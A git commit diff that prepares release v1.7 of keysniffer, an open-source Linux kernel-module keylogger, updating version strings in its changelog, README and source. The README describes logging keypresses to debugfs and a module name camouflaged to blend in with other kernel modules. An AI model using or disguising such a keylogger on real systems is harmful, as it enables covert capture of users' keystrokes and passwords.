Prepare for release v1.7

CHANGELOG

@@ -1,3 +1,12 @@
+keysniffer v1.7
+2018-03-06
+
+What's in?
+- Completely commented code for kernel newbies
+- Defensive (and redundant) code removal
+
+-------------------------------------------------------------------------------
+
 keysniffer v1.6
 2017-12-12
 

README.md

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 # keysniffer
 A Linux kernel module to grab keys pressed in the keyboard, or a keylogger.
 
-keysniffer was originally written with the US keyboard (and conforming laptops) in mind. By default it shows human-readable strings for the keys pressed. Optionally, the `keycode shift_mask` pair can be printed in hex or decimal. You can lookup the keycodes in `/usr/include/linux/input-event-codes.h`.
+keysniffer was initially written with the US keyboard (and conforming laptops) in mind. By default it shows human-readable strings for the keys pressed. Optionally, the `keycode shift_mask` pair can be printed in hex or decimal. You can lookup the keycodes in `/usr/include/linux/input-event-codes.h`.
 
 The keypress logs are recorded in debugfs as long as the module is loaded. Only root or sudoers can read the log. The module name has been camouflaged to blend-in with other kernel modules.
 
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 ## Table of contents
@@ -109,12 +109,13 @@ To check the module details:
 # modinfo kisni.ko
 filename:       kisni.ko
 description:    Sniff and log keys pressed in the system to debugfs
-version:        1.6
+version:        1.7
 author:         Arun Prakash Jana <[email protected]>
 license:        GPL v2
-srcversion:     40AA880EE5017590B293170
+srcversion:     26381298B8DB375C50B04EA
 depends:
-vermagic:       4.4.0-103-generic SMP mod_unload modversions
+name:           kisni
+vermagic:       4.13.0-32-generic SMP mod_unload
 parm:           codes:log format (0:US keys (default), 1:hex keycodes, 2:dec keycodes) (int)
 ```
 

keysniffer.c

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 #define HEX 1 /* Type code for hexadecimal log */
 #define DEC 2 /* Type code for decimal log */
 
-#define KEYSNIFFER_VERSION "1.6"
+#define KEYSNIFFER_VERSION "1.7"
 
 /* User specified log pattern, used as a module parameter */
 static int codes;